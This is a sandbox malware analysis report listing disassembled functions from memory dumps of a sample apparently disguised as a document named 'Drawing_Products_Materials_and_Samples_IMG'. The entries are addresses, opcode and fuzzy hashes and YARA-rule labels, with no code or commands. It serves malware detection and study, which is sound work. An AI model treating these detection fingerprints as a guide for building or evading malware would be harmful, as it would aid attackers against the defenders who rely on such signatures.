Instruction ID: 1eebb14da8cfa006c68d2e5a0cc0bd136e09cb9117a2c1aa366856c963504675
Opcode Fuzzy Hash: 3e37d70b628c9917eed603eadfd395c9d7f2641e09fd59a541c5f42a97bdeec5
Instruction Fuzzy Hash: A431B330B002089FDB09EBB9D955AAE7BF6EFC9200F1540BAE509DB351DE358D4287A1

Function 36A94230 Relevance: 1.3, Strings: 1, Instructions: 51COMMON

Download Yara Rule

Strings

}]4, xrefs: 36A94287

Memory Dump Source

Source File: 00000002.00000002.22150235357.0000000036A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 36A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_36a90000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID: }]4
API String ID: 0-1507274201
Opcode ID: 13d5f980f3e7219b12ce489fd429b2070d6ef78c845d40052b50399f280d8297
Instruction ID: d59bbc0c8104b1c20e150e964f76aa56fb048253a5e13bdd98592d3db1c96e4b
Opcode Fuzzy Hash: 13d5f980f3e7219b12ce489fd429b2070d6ef78c845d40052b50399f280d8297
Instruction Fuzzy Hash: BF11CE397143048FD7058B29C558A96BBE1FF8A764F2180AED445CF761CA70DC04CB20

Function 0011E263 Relevance: .7, Instructions: 652COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22114996558.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_110000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 43f4fdf835b65355f1cde83edcc40169a0b08b0076f23da012baa025c0ba9cc4
Instruction ID: 3edb7e583f61ad47233e3db259bbf2d1bb3d7e0b5f2aecfc13a87456b43352d5
Opcode Fuzzy Hash: 43f4fdf835b65355f1cde83edcc40169a0b08b0076f23da012baa025c0ba9cc4
Instruction Fuzzy Hash: 73129274D22657AF93046FA4D6AC12EBB74FF2F323701AD20F05BE55659B35408ACE28

Function 0011E268 Relevance: .6, Instructions: 649COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22114996558.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_110000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b247da875de1d21e5cab1b55fd4a811eac6f374005d389701b194b37c28a206c
Instruction ID: df11ded6e311aa1744fc3016b2e5b995708d2c61b4aa84662fd5d8484625d9ac
Opcode Fuzzy Hash: b247da875de1d21e5cab1b55fd4a811eac6f374005d389701b194b37c28a206c
Instruction Fuzzy Hash: 36129274D22657AF93046FA4D6AC12EBB74FF2F323701AD20F05BE55659B35408ACE28

Function 00111087 Relevance: .5, Instructions: 548COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22114996558.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_110000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 584acaf2b6d6578d0b59806a6608d9364aa48dcf942e417e47fbcb779b832acc
Instruction ID: 98de075a7454a02bc39bf575dc6fab6fac3b78223c927395df27c5a597330e10
Opcode Fuzzy Hash: 584acaf2b6d6578d0b59806a6608d9364aa48dcf942e417e47fbcb779b832acc
Instruction Fuzzy Hash: E0522874A14219CFEB69DF64EC84A8DBBB2FB49701F1081A9D409A7354DF706E86CF90

Function 00111090 Relevance: .5, Instructions: 543COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22114996558.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_110000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ffd50f41624beeab4c2f5fd57a5b3ef616a743eda3cd3ba5bb387d68d04d3cd1
Instruction ID: badc6c2fc7a59c317a95f470c200b877e061a82a0834da59c01f606ba4c9fccb
Opcode Fuzzy Hash: ffd50f41624beeab4c2f5fd57a5b3ef616a743eda3cd3ba5bb387d68d04d3cd1
Instruction Fuzzy Hash: 81521774A14219CFEB69DF64EC84A8DBBB2FB49701F1081A9D409A7354DF706E86CF90

Function 0011A979 Relevance: .4, Instructions: 362COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22114996558.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_110000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d6b09ab6ca033d65bfa25010072bbbfa7c73b79e8e9e43286a648e46956d9004
Instruction ID: f63a100ee331a50ea32982da775a2770b3cc77a81d2abfa850a36e2111c44adf
Opcode Fuzzy Hash: d6b09ab6ca033d65bfa25010072bbbfa7c73b79e8e9e43286a648e46956d9004
Instruction Fuzzy Hash: CEF15D71A02509DFCF19CF98D584AAEBBB2FF88301F658565E405AB291D730ECC1CB96

Function 00117CB5 Relevance: .3, Instructions: 327COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22114996558.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_110000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 48707f55277ded1a9912096b718357d41a4a2b344ded871cbedc230b704b7259
Instruction ID: e6f9a88b8d7c4c87c9349872519827ee4b7a76c9152ddd105f27aa791e51d190
Opcode Fuzzy Hash: 48707f55277ded1a9912096b718357d41a4a2b344ded871cbedc230b704b7259
Instruction Fuzzy Hash: 55D14C35A04209CFCB28DF69D984AEEBBF1BF48314F1585A9E4159B3A1DB30ED81CB50

Function 0011B483 Relevance: .3, Instructions: 301COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22114996558.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_110000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 37d0535d43309d26dbb857beb660ddbf8e3ecf15e07674642e15ef8e906ce180
Instruction ID: e95910a6fc4cf6bd82e43673c84018b267287c1ae217136e2810dec9d91de344
Opcode Fuzzy Hash: 37d0535d43309d26dbb857beb660ddbf8e3ecf15e07674642e15ef8e906ce180
Instruction Fuzzy Hash: BCD1D771E042148FCB18CFA8D5849EDBBF6FF88714B1A80A9E515AB3A1C734EC81CB54

Function 001108DA Relevance: .3, Instructions: 259COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22114996558.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_110000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f5831030ff6055358b832474963a259e05aa0a12c9985a541b75c458304e8072
Instruction ID: d486e74b31627e10f8d6f09341f26b62c97f83e1daa2e1b36c11bf2f42190b14
Opcode Fuzzy Hash: f5831030ff6055358b832474963a259e05aa0a12c9985a541b75c458304e8072
Instruction Fuzzy Hash: 31A13B34714600CFD759DB39C894A6977E2FF89B14B2581A8E50ACB3B6DB71EC81CB50

Function 37369C61 Relevance: .2, Instructions: 238COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22150817508.0000000037360000.00000040.00000800.00020000.00000000.sdmp, Offset: 37360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_37360000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 39bd7d6f8250390a2dc2ff7ff2a8b7687715ff0eed6242b3e206857ee7f3bcac
Instruction ID: 59b44d926e96f543853ac7413b4629b23c2cbc52c7514483703065156630c4f7
Opcode Fuzzy Hash: 39bd7d6f8250390a2dc2ff7ff2a8b7687715ff0eed6242b3e206857ee7f3bcac
Instruction Fuzzy Hash: C2C1F174E002298FEB64DF68C994BDDBBB2BB88300F1081EAD50CA7294DB355E85DF51

Function 37369C70 Relevance: .2, Instructions: 234COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22150817508.0000000037360000.00000040.00000800.00020000.00000000.sdmp, Offset: 37360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_37360000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9bdefa6e1217e840d0ea1fa4ed1fd5384e7791f323c8fd4340fe3dfa2eab429a
Instruction ID: 113a413ffce8903a8ecdacc6dd8123a0e7dfa6a5722c0b48d869607f1c0cee5c
Opcode Fuzzy Hash: 9bdefa6e1217e840d0ea1fa4ed1fd5384e7791f323c8fd4340fe3dfa2eab429a
Instruction Fuzzy Hash: B5B1F074E002298FEB64DF68C894BDDBBB2BB88300F1081EAD50CA7294DB755E85DF51

Function 36A94668 Relevance: .2, Instructions: 214COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22150235357.0000000036A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 36A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_36a90000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 116e1c90e1f345ca9c2aa12994fb76f0a5228bf4c4dee7f7461ef8a7e6602289
Instruction ID: 689bd0cde9d41f57df86006ffefe0650f3433b1cb8dcec0801e636fd1bc468e8
Opcode Fuzzy Hash: 116e1c90e1f345ca9c2aa12994fb76f0a5228bf4c4dee7f7461ef8a7e6602289
Instruction Fuzzy Hash: AD51F475A0430D9FD7148A69D840AAABBF5FBC6324F74853AE918DB700D7309801CBA0

Function 00116868 Relevance: .2, Instructions: 207COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22114996558.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_110000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d1222f109210913ed2afc6997d29ef639228ae0d536019983cfbcda5501cf8c2
Instruction ID: 790f86e732aa73894ce33beb6ec4909534352939256091b14b9f980b1d35276e
Opcode Fuzzy Hash: d1222f109210913ed2afc6997d29ef639228ae0d536019983cfbcda5501cf8c2
Instruction Fuzzy Hash: 25713B34A00205CFDB1CCF69D894AEDB7B2BF89315B25807AD416AB365DB32EC81CB51

Function 00118470 Relevance: .2, Instructions: 201COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22114996558.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_110000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 55dd438937dcf57ae6f8d5804fcf43034d80e4d75a00bd4b907bad21417cef70
Instruction ID: ad0b39a099ee70c9348a51251d40e56f7f9e638a013d12eafef65c6ca718714f
Opcode Fuzzy Hash: 55dd438937dcf57ae6f8d5804fcf43034d80e4d75a00bd4b907bad21417cef70
Instruction Fuzzy Hash: 66711B347006058FDB59DF28C894AAE7BE6EF59340B1980A9E805CB3B1EF75DC81CB91

Function 3741DD48 Relevance: .2, Instructions: 183COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22151214905.0000000037410000.00000040.00000800.00020000.00000000.sdmp, Offset: 37410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_37410000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 23dda4f1fd9234830420151c96e92cbf035a76bec776124ad72110d9539325f9
Instruction ID: 1f9e40b323e26e223675f8b2ea2b306231b72968ced2df6e1897638fc1e23f12
Opcode Fuzzy Hash: 23dda4f1fd9234830420151c96e92cbf035a76bec776124ad72110d9539325f9
Instruction Fuzzy Hash: 0981B374E412298FEB64DF29D850BEDBBB2BF89300F1080EAD409B7255DB705E818F44

Function 37369908 Relevance: .2, Instructions: 176COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22150817508.0000000037360000.00000040.00000800.00020000.00000000.sdmp, Offset: 37360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_37360000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 018cd328b8476610aaf49b81b5d6dbc794cd695820197ea9b55fdc0443ae6b31
Instruction ID: f6bb9ce73b4fb1ee3ce482549553151f652ca2408d68aa64d4ba5d2b4ed4927d
Opcode Fuzzy Hash: 018cd328b8476610aaf49b81b5d6dbc794cd695820197ea9b55fdc0443ae6b31
Instruction Fuzzy Hash: 8261C474E012089FEB04DFA9D984BDDBBF6AF89314F14C129E808AB359EA359901CB50

Function 37368A78 Relevance: .2, Instructions: 174COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22150817508.0000000037360000.00000040.00000800.00020000.00000000.sdmp, Offset: 37360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_37360000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 141c55b54a2886a9f8590f8e0563204fd5829dedae1a66545b857f7222287d00
Instruction ID: dac93a219c8ae103f85ff24cc7308ed8b69e200129c7ca5158fdb57a67603634
Opcode Fuzzy Hash: 141c55b54a2886a9f8590f8e0563204fd5829dedae1a66545b857f7222287d00
Instruction Fuzzy Hash: 9C518070F002158BEB14DFB9C4A06DEBBB2AFC9740F148529E415BB384DF34AD469B95

Function 3741DA58 Relevance: .2, Instructions: 173COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22151214905.0000000037410000.00000040.00000800.00020000.00000000.sdmp, Offset: 37410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_37410000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1964fb5ee400126a0914c35a3deb880d1be988eecba35cf5689acc51f4dd6e84
Instruction ID: e922b8ea98b709733ac4b56b04bdd0077583f448d13fdb54ff0702c6798eb5da
Opcode Fuzzy Hash: 1964fb5ee400126a0914c35a3deb880d1be988eecba35cf5689acc51f4dd6e84
Instruction Fuzzy Hash: 0F719074E002088FEB54DFA9C990AEDBBF2BF89310F248129D805BB355DB35A942CF54

Function 37417A28 Relevance: .2, Instructions: 173COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22151214905.0000000037410000.00000040.00000800.00020000.00000000.sdmp, Offset: 37410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_37410000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f1e499db7fcdfb2075a924f5474859cccabe8984949a744404732fa455de754f
Instruction ID: 39ba222c9fbb5d5bbf6cbf6a992e4d532a8987345e47a79d4da284bd15fec784
Opcode Fuzzy Hash: f1e499db7fcdfb2075a924f5474859cccabe8984949a744404732fa455de754f
Instruction Fuzzy Hash: 6071A174E002088FEB54DFA9D990AEDBBF2BF89310F248129D805BB355DB356942CF54

Function 374081E8 Relevance: .2, Instructions: 173COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22151145187.0000000037400000.00000040.00000800.00020000.00000000.sdmp, Offset: 37400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_37400000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f61a5c10b7ce38be506240c177f7f561bbeda523da4d0392428075ebb63875ea
Instruction ID: e18f41281e230ed005b419d3f42c7b42015203ef55bd1ed79643c59747ad1663
Opcode Fuzzy Hash: f61a5c10b7ce38be506240c177f7f561bbeda523da4d0392428075ebb63875ea
Instruction Fuzzy Hash: 1771B074E002088FEB54DFA9C990ADDBBF2BF89300F648129D804BB355DB35A942DF54

Function 374021B8 Relevance: .2, Instructions: 173COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22151145187.0000000037400000.00000040.00000800.00020000.00000000.sdmp, Offset: 37400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_37400000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cfeaf8c35752628f885ce0662f291c78b4ac4d4cbc3c6f8e59d0d9bdde6cd594
Instruction ID: bcedf69a4a1edc5d7407fffc32bd184fc1f67eb9862f38bd7cfce544dcfdb208
Opcode Fuzzy Hash: cfeaf8c35752628f885ce0662f291c78b4ac4d4cbc3c6f8e59d0d9bdde6cd594
Instruction Fuzzy Hash: 7371AF74E00218CFEB54DFA9D990ADDBBB2BF89300F648129D804BB394DB35A942DF54

Function 001162E4 Relevance: .2, Instructions: 163COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22114996558.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_110000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 77010b986ddc670c3eb1361778c39afbe0e461da0f98a3cf6a2f550180abe06e
Instruction ID: e1a9b97779c9394dde6773fe0cb9b53951443ddb12faa0efc6bbc2b5a6419b78
Opcode Fuzzy Hash: 77010b986ddc670c3eb1361778c39afbe0e461da0f98a3cf6a2f550180abe06e
Instruction Fuzzy Hash: 9451CE317142559FEF198F64D854BAE7BB2FF85704F144429E886CB290CB7ACC82DB94

Function 3736A490 Relevance: .2, Instructions: 153COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22150817508.0000000037360000.00000040.00000800.00020000.00000000.sdmp, Offset: 37360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_37360000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a264315f20e5826cc05ef299e3e95d5456201d795e1ec40ad86cab00b1882a75
Instruction ID: c5ab2f07742fd7506672ab8bc2a7e33ffc154a6ea38598a8ce3195a22df79679
Opcode Fuzzy Hash: a264315f20e5826cc05ef299e3e95d5456201d795e1ec40ad86cab00b1882a75
Instruction Fuzzy Hash: B861B474E012189FDB44DFA9D894AEDBBB2FF88300F10812AE819BB355DB356946DF50

Function 0011FADB Relevance: .2, Instructions: 152COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22114996558.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_110000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3318bc9eb306260c77ff9925a82582d4ee9b85798f5e51570c0eafc92656ffa9
Instruction ID: 7e9cc20c8647a26c3b8dfd22fb895ec493354eea18684c245f8d8ff752ed4781
Opcode Fuzzy Hash: 3318bc9eb306260c77ff9925a82582d4ee9b85798f5e51570c0eafc92656ffa9
Instruction Fuzzy Hash: AB510F34E01218CFDB28DFA5D954AEDBBB2FF89301F208229D805AB294DB355A46DF40

Function 3741ED30 Relevance: .2, Instructions: 151COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22151214905.0000000037410000.00000040.00000800.00020000.00000000.sdmp, Offset: 37410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_37410000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 950f18934c843ad1269d972108333481d9842632ecbf22be15d176af1ba5e361
Instruction ID: fdf088dd8cd52477e422a788eebf90d5b587708f972b727a8bf0e5131cbaf755
Opcode Fuzzy Hash: 950f18934c843ad1269d972108333481d9842632ecbf22be15d176af1ba5e361
Instruction Fuzzy Hash: 0551E878B14325DFD708EF28D494ABA77B5AB48326B914C54E811AB365CB35FC42CB90

Function 00116428 Relevance: .1, Instructions: 143COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22114996558.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_110000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fa7ee4fbe7a2fe9d54b6dcd3f678c0b5fb3cc4cc6d1fc561fc2056fcdb2ad43c
Instruction ID: 1882a37f3d73126738f6812e6954059e49cd865e2f45fffab17ff55d55b92186
Opcode Fuzzy Hash: fa7ee4fbe7a2fe9d54b6dcd3f678c0b5fb3cc4cc6d1fc561fc2056fcdb2ad43c
Instruction Fuzzy Hash: 6741CE307002008FEB599F78C8A4BBEB6A6AFC9744F148539E5428B395DF398C82D795

Function 3736A100 Relevance: .1, Instructions: 141COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22150817508.0000000037360000.00000040.00000800.00020000.00000000.sdmp, Offset: 37360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_37360000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a75ee5a8285e45f74ae874b3cf4d66fb12a0af0e0b47cce861ac88980db0b357
Instruction ID: cdc55e4371da3b86a17b119a5780182d82ced33c8827d07aa6b840f8d3062040
Opcode Fuzzy Hash: a75ee5a8285e45f74ae874b3cf4d66fb12a0af0e0b47cce861ac88980db0b357
Instruction Fuzzy Hash: DD51D6B4E012189FDB44DFA9D595AEEBBF1BF88300F10802AD415BB355DB346E45CB90

Function 00114518 Relevance: .1, Instructions: 138COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22114996558.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_110000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f3fcf0be33c5e39003ceb965fab5c0a6b53eaa1784906e466c46d8dbd36306af
Instruction ID: b87b39d8eeff6b02baeddcc29bde72ee73cda7e4671d2cba3c00733c64f0d87f
Opcode Fuzzy Hash: f3fcf0be33c5e39003ceb965fab5c0a6b53eaa1784906e466c46d8dbd36306af
Instruction Fuzzy Hash: 4F519F74E15208CFDB48DFA9D99489DBBF2FF89700B209169E805BB364DB35A942CF50

Function 00114520 Relevance: .1, Instructions: 136COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22114996558.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_110000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 232bd98cf26b754731165eb62a56a94509b04d702e9de297372339e995755c44
Instruction ID: 582e1ebf08f97b7f0d4a5cd9052fab56bda3137c4b15c924de8c9c4b72f7e1f0
Opcode Fuzzy Hash: 232bd98cf26b754731165eb62a56a94509b04d702e9de297372339e995755c44
Instruction Fuzzy Hash: 6251A074E11208CFDB48DFA9D98489DBBF2FF89700B609169E805BB364DB35A942CF50

Function 36A90C04 Relevance: .1, Instructions: 130COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22150235357.0000000036A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 36A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_36a90000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d1da3d364daf1a10b7e428c1ebe00eef38ce0c0ce52ea427ce7c0b582a98633a
Instruction ID: 9a2d8fade2d75e00e20646e5db150210e37813e6834ad0e5f89d5e97e59a6c92
Opcode Fuzzy Hash: d1da3d364daf1a10b7e428c1ebe00eef38ce0c0ce52ea427ce7c0b582a98633a
Instruction Fuzzy Hash: 3551AE74D01228CFDB64DF69D984ADDBBF1BB89301F2055A9D408A7350DB35AE82DF50

Function 3736B360 Relevance: .1, Instructions: 130COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22150817508.0000000037360000.00000040.00000800.00020000.00000000.sdmp, Offset: 37360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_37360000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0dae19715b35fe95797db6e6d99e4ab8a644079d714cd65598455ef714b41b67
Instruction ID: 4cd48d6e20b6f50e1653f6e0e87f70610567bca3c88a29259880ff0d173c4c77
Opcode Fuzzy Hash: 0dae19715b35fe95797db6e6d99e4ab8a644079d714cd65598455ef714b41b67
Instruction Fuzzy Hash: 7851B875E00319CFDB14DFE9C484ADEBBB6BF89300F20852AD419AB254EB30A945CF50

Function 36A93ED8 Relevance: .1, Instructions: 128COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22150235357.0000000036A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 36A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_36a90000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3aad71138c089122c03f99b98b9a697a30ca7e90271cfc10a23eb2dfc100c5ee
Instruction ID: 6fcc644c54881c31949d2cb5c775e9382ea0307fa124d53f4718fdf966f3aa86
Opcode Fuzzy Hash: 3aad71138c089122c03f99b98b9a697a30ca7e90271cfc10a23eb2dfc100c5ee
Instruction Fuzzy Hash: D3410635A002198FDB04DB98C481EDDBBF6FF88324F255594E901AF3A1DB71EC858BA4

Function 0011B290 Relevance: .1, Instructions: 126COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22114996558.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_110000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2457e7e61e59240935a2db97e2f7f23cfd51c28c4e6664252f17e517f7cca07f
Instruction ID: 74efb9027dab77732219ef1207e3e3eb6953db50efff0d5d501a7f763028185a
Opcode Fuzzy Hash: 2457e7e61e59240935a2db97e2f7f23cfd51c28c4e6664252f17e517f7cca07f
Instruction Fuzzy Hash: AC419035B042049FDB08AF69D8A4AAE7BB6FFC9710F158029E506DB391DF359C02CB94

Function 36A93EC8 Relevance: .1, Instructions: 121COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22150235357.0000000036A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 36A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_36a90000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 87876699193b82a9776da72ac8e2b7b3fa3e3fefc1cafafc0e57ac09f8d1a128
Instruction ID: 78e0283e8198b2c4ad7faa5ebc7e38ed40029a71c795c10ff64e90b29a8cce0c
Opcode Fuzzy Hash: 87876699193b82a9776da72ac8e2b7b3fa3e3fefc1cafafc0e57ac09f8d1a128
Instruction Fuzzy Hash: A7412C39A002098FDB04DB98C591ADD7BF2EF88720F255554E901AF3A1DB31EC85CBA5

Function 37580D31 Relevance: .1, Instructions: 121COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22151341097.0000000037580000.00000040.00000800.00020000.00000000.sdmp, Offset: 37580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_37580000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2e6d20394d92106819280b79904cede929a2c0390a19784faf699fe7ca219d89
Instruction ID: 5f201613d83e131e66d02d1a8693e57dc1c8bfdcc8cc7f451443a6340cea1a2a
Opcode Fuzzy Hash: 2e6d20394d92106819280b79904cede929a2c0390a19784faf699fe7ca219d89
Instruction Fuzzy Hash: A541CC79E01208DFDB54CFA9D5947EDBBF1AB49310F10802AD809B7294DB74AA46CF54

Function 37368A69 Relevance: .1, Instructions: 117COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22150817508.0000000037360000.00000040.00000800.00020000.00000000.sdmp, Offset: 37360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_37360000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2f4fae1efa1432be661ac9739acd9b4b475f2419210ff04be0ce656643d231b9
Instruction ID: 7f0546c953c9a34677c097f00bec6755b98bdf16ff3064fff0121d41c126b905
Opcode Fuzzy Hash: 2f4fae1efa1432be661ac9739acd9b4b475f2419210ff04be0ce656643d231b9
